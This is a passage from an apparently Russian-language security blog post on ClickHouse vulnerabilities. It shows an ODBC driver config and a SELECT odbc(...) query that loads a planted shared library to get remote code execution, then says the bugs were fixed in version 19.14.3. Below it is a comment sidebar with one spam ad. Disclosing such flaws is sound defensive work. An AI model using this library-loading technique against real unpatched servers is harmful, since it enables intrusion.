[lalala]Driver=/var/lib/clickhouse/user_files/test.so

затем при запуске SELECT * FROM odbc('DSN=lalala', 'test', 'test'); будет подгружена библиотека test.so и получено RCE (спасибо buglloc за наводку).


Эти и другие уязвимости были исправлены в версии ClickHouse 19.14.3. Берегите свои ClickHouse и ZooKeepers!

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru